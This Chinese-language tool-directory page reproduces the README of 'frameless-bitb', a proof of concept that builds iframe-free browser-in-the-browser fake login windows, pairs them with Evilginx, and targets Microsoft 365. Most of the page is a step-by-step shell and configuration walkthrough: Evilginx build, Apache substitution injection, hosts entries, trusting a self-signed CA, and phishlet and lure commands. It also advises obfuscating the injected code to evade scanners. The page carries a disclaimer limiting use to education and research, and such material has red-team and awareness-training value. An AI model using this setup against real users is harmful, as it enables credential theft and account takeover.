Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
frameless-bitb — 一种浏览器中的浏览器(BITB)新方法,不使用iframe,允许绕过像Microsoft这样的登录页面实现的传统framebuster,并能与Evilginx配合使用。 | Kitploit
工具/GitHubGitHub/waelmas/frameless-bitb
钓鱼工具IDS/IPS规避Web应用程序漏洞利用钓鱼攻击社会工程学学习与教育
GitHubwaelmas/frameless-bitb

frameless-bitb

一种浏览器中的浏览器(BITB)新方法,不使用iframe,允许绕过像Microsoft这样的登录页面实现的传统framebuster,并能与Evilginx配合使用。

查看仓库
45573452年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Frameless BITB

一种无需使用 iframe 的浏览器内浏览器(BITB)新方法,能够绕过像 Microsoft 这类登录页面实施的传统框架破坏程序。

此 POC 代码用于将此新型 BITB 与 Evilginx 及 Microsoft Enterprise 钓鱼模板配合使用。

Frameless-BITB-DEMO-compressed

在深入探讨之前,我建议你先观看我在 BSides 2023 上的演讲,我在那里首次介绍了这一概念,以及如何策划“完美”钓鱼攻击的重要细节。▶ 观看视频

☕︎ 请我喝杯咖啡

视频教程: 👇

免责声明

此工具仅用于教育和研究目的。它展示了一种基于非 iframe 的浏览器内浏览器(BITB)方法。作者对任何滥用行为概不负责。请仅在受控环境下合法且合乎道德地使用此工具,用于网络安全防御测试。使用此工具即表示你同意负责任地使用,并自行承担风险。

背景故事——为什么

在过去的一年里,我一直在尝试各种技巧来策划“完美”的钓鱼攻击。 人们通常被训练去寻找的“危险信号”包括紧迫感、威胁、权威、语法错误等。 如今,人们其次会检查的就是他们正在交互的网站的链接/URL,而且一旦被要求输入敏感凭证(如电子邮件和密码),就会变得非常警觉。

这就是浏览器内浏览器(BITB)应运而生的原因。最初由 @mrd0x 提出,BITB 是一种创建可信浏览器窗口外观的概念,攻击者可以在其中控制内容(通过在 iframe 中提供恶意网站)。然而,假浏览器窗口的虚假 URL 栏被设置为用户期望的合法站点。这结合像 Evilginx 这样的工具,就成为了可信钓鱼攻击的完美配方。

问题在于,在过去几个月/几年里,像 Microsoft 这样的主要网站实施各种称为“框架破坏程序/框架杀手”的小技巧,这些技巧主要试图破坏可能用于提供代理网站(如 Evilginx 所使用)的 iframe。

简而言之,Evilginx + 针对 Microsoft 这类网站的 BITB 不再有效。至少对于依赖 iframe 的 BITB 来说不再有效。

是什么

一种不依赖任何 iframe 的浏览器内浏览器(BITB)!就这么简单。

这意味着我们现在可以将 BITB 与 Evilginx 一起用于像 Microsoft 这样的网站。

Evilginx 在这里只是一个强有力的例子,但同样的概念也可以用于其他用例。

原理

框架破坏程序专门针对 iframe,因此我们的想法是创建 BITB 效果,而不使用 iframe,并且不破坏代理页面的原始结构/内容。 这可以通过使用搜索和替换(也称为替换)将脚本和 HTML 注入到原始内容旁边,然后完全依靠 HTML/CSS/JS 技巧来制造视觉效果来实现。 我们还使用了一个名为“Shadow DOM”的 HTML 额外技巧,将落地页(背景)的内容放置在不干扰代理内容的位置,从而允许我们灵活地使用任何落地页,只需添加少量的额外 JS 脚本。

操作说明

视频教程

带 YouTube 播放器的缩略图

https://youtu.be/luJjxpEwVHI

本地虚拟机:

创建一台本地 Linux 虚拟机(我个人在 VMWare Player 或 Parallels Desktop 上使用 Ubuntu 22)。

更新并升级系统软件包:

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Evilginx 设置:

可选:

创建一个新的 evilginx 用户,并将该用户添加到 sudo 组:

sudo su

adduser evilginx

usermod -aG sudo evilginx

测试 evilginx 用户是否在 sudo 组中:

su - evilginx

sudo ls -la /root

导航到用户的家目录:

cd /home/evilginx

(你也可以以 sudo 用户身份执行所有操作,因为我们是在本地运行所有内容)

设置 Evilginx

下载并构建 Evilginx:官方文档

将 Evilginx 文件复制到 /home/evilginx

安装 Go:官方文档

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

添加:export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

检查:

root@kitploit:~
go version

安装 make:

root@kitploit:~
sudo apt install make

构建 Evilginx:

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

为我们的 evilginx 构建创建一个新目录,并包含 phishlets 和 redirectors:

root@kitploit:~
mkdir /home/evilginx/evilginx

复制构建文件、phishlets 和 redirectors:

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Ubuntu 防火墙快速修复(感谢 @kgretzky)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

在 Ubuntu 上,如果遇到 Failed to start nameserver on: :53 错误,请尝试修改此文件

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

将 DNSStubListener 编辑/更改为 no > DNSStubListener=no

然后

root@kitploit:~
sudo systemctl restart systemd-resolved

修改 Evilginx 配置:

由于我们将在 Evilginx 前面使用 Apache2,我们需要让 Evilginx 监听不同于 443 的端口。

root@kitploit:~
nano ~/.evilginx/config.json

将 https_port 从 443 改为 8443

安装 Apache2 并启用模块:

安装 Apache2:

root@kitploit:~
sudo apt install apache2 -y

启用将要使用的 Apache2 模块: (我们还禁用了 access_compat 模块,因为它有时会导致问题)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

启动并启用 Apache:

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

通过从主机浏览器访问虚拟机的 IP 来测试 Apache 和虚拟机网络是否正常工作。

克隆此仓库:

如果尚未安装 git,请先安装:

root@kitploit:~
sudo apt -y install git

克隆此仓库:

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Apache 自定义页面:

为我们将要提供的页面创建目录:

  • home:(可选)主页(在基础域名下)
  • primary:落地页(背景)
  • secondary:BITB 窗口(前景)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

复制每个页面的目录:

root@kitploit:~

sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

可选:删除默认 Apache 页面(不使用):

root@kitploit:~
sudo rm -r /var/www/html/

将 O365 钓鱼模板复制到 phishlets 目录:

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

可选: 要设置 Calendly 小组件使用你的账户而不是我提供的默认账户,请转到 pages/primary/script.js 并更改 CALENDLY_PAGE_NAME 和 CALENDLY_EVENT_TYPE。

关于演示混淆的说明: 正如我在演示视频中解释的那样,我对 BITB 的文本内容(如 URL 和标题)进行了最小程度的混淆。你可以通过浏览器打开 demo-obfuscator.html 来打开演示混淆器。 在实际场景中,我强烈建议你混淆注入的 HTML 代码的更大块,或使用 JS 技巧来避免被检测和标记。我正在开发的高级版本将使用多种高级技巧的组合,使扫描器几乎无法指纹识别/检测 BITB 代码,敬请期待。

自签名 SSL 证书:

由于我们在本地运行所有内容,我们需要生成将由 Apache 使用的自签名 SSL 证书。Evilginx 不需要证书,因为我们将在开发者模式下运行它。

我们将使用域名 fake.com,该域名将指向我们的本地虚拟机。如果你想使用不同的域名,请确保在所有文件(Apache 配置文件、JS 文件等)中更改该域名。

如果目录不存在,则创建目录及其父目录:

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

使用 OpenSSL 配置文件生成 SSL 证书:

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

修改私钥权限:

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Apache 自定义配置:

复制自定义替换文件(我们方法的核心):

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

重要提示: 在此仓库中,我包含了两个替换配置:适用于 Mac 上 Chrome 和 Windows 上 Chrome 的 BITB。两者都具有浅色/深色模式的自动检测和样式,它们应作为实现其他浏览器/操作系统组合的模板。 由于我未包含自动检测访问我们钓鱼页面的浏览器/操作系统组合的功能,你将不得不使用其中之一,或实现你自己的自动切换逻辑。

/apache-configs/ 下的两个配置文件是相同的,只是包含的替换文件的 Include 指令不同(每个文件有两个引用)。

root@kitploit:~
# 取消注释你想要的那个,并记住在更改后重启 Apache:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

为了简化,我将两个版本都作为单独的文件用于下一步。

Windows/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

测试 Apache 配置以确保没有错误:

root@kitploit:~
sudo apache2ctl configtest

重启 Apache 以应用更改:

root@kitploit:~
sudo systemctl restart apache2

修改主机文件:

使用 ifconfig 获取虚拟机的 IP,并记下以备下一步使用。

我们现在需要向主机文件添加新条目,将本演示中使用的域名 fake.com 及其所有子域名指向运行 Apache 和 Evilginx 的虚拟机。

在 Windows 上:

以管理员身份打开记事本(搜索 > 记事本 > 右键单击 > 以管理员身份运行)

单击左上角的文件选项,然后在文件资源管理器地址栏中复制粘贴以下内容:

C:\Windows\System32\drivers\etc\

将文件类型(右下角)更改为“所有文件”。

双击名为 hosts 的文件

在 Mac 上:

打开终端并运行以下命令:

root@kitploit:~
sudo nano /private/etc/hosts

现在修改以下记录(将 [IP] 替换为虚拟机的 IP),然后将记录粘贴到主机文件末尾:

root@kitploit:~
# 本地 Apache 和 Evilginx 设置
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# 部分结束

保存并退出。

在进入下一步之前,请重启浏览器。

注意: 在 Mac 上,使用以下命令刷新 DNS 缓存:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

重要提示:

此演示使用随附的 Office 365 Enterprise 钓鱼模板。要为其他钓鱼模板获取需要添加的主机条目,请使用 phishlet get-hosts [PHISHLET_NAME],但记得将 127.0.0.1 替换为虚拟机的实际本地 IP。

信任自签名 SSL 证书:

由于我们使用自签名 SSL 证书,每次尝试访问 fake.com 时,浏览器都会发出警告,因此我们需要让主机信任签署 SSL 证书的证书颁发机构。

对于此步骤,按照视频说明操作更容易,但以下是要点。

在 Chrome 浏览器中打开 https://fake.com/。

忽略不安全站点警告,继续访问页面。

单击 SSL 图标 > 详细信息 > 导出证书 重要提示: 保存时,名称必须以 .crt 结尾,Windows 才能正确打开。

双击它 > 为当前用户安装。不要选择自动,而是将证书放入特定存储:选择“受信任的根证书颁发机构”。

在 Mac 上: 仅为当前用户安装 > 选择“钥匙串:登录”并且点击“查看证书”> 详细信息 > 信任 > 始终信任

现在重启浏览器

你现在应该能够访问 https://fake.com 并看到主页,且没有任何 SSL 警告。

运行 Evilginx:

此时,一切准备就绪,我们可以启动 Evilginx,设置钓鱼模板,创建诱饵并进行测试。

可选:安装 tmux(即使在终端会话关闭后也能保持 Evilginx 运行。主要在远程虚拟机上运行时有用。)

root@kitploit:~
sudo apt install tmux -y

以开发者模式启动 Evilginx(使用 tmux 避免丢失会话):

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(要重新连接到 tmux 会话,请使用 tmux attach-session -t evilginx)

Evilginx 配置:

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

重要提示: 将 Evilginx 黑名单模式设置为 NoAdd,以避免将 Apache 列入黑名单,因为所有请求都将来自 Apache,而不是实际的访问者 IP。

root@kitploit:~
blacklist noadd

设置钓鱼模板和诱饵:

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

复制诱饵 URL,并在浏览器中访问它(使用 Chrome 的访客用户,以避免在测试之间删除所有保存/缓存的数据)。

有用资源

基于 iframe 的原始 BITB(作者 @mrd0x): https://github.com/mrd0x/BITB

Evilginx 精通课程(由 Evilginx 创建者 @kgretzky 提供): https://academy.breakdev.org/evilginx-mastery

我在 BSides 2023 上的演讲: https://www.youtube.com/watch?v=p1opa2wnRvg

如何使用 Cloudflare 和 HTML 混淆保护 Evilginx: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

针对 Microsoft 365 的 Evilginx 资源(作者 @BakkerJan): https://janbakker.tech/evilginx-resources-for-microsoft-365/

待办事项

  • 创建脚本以自动化大部分步骤
下载工具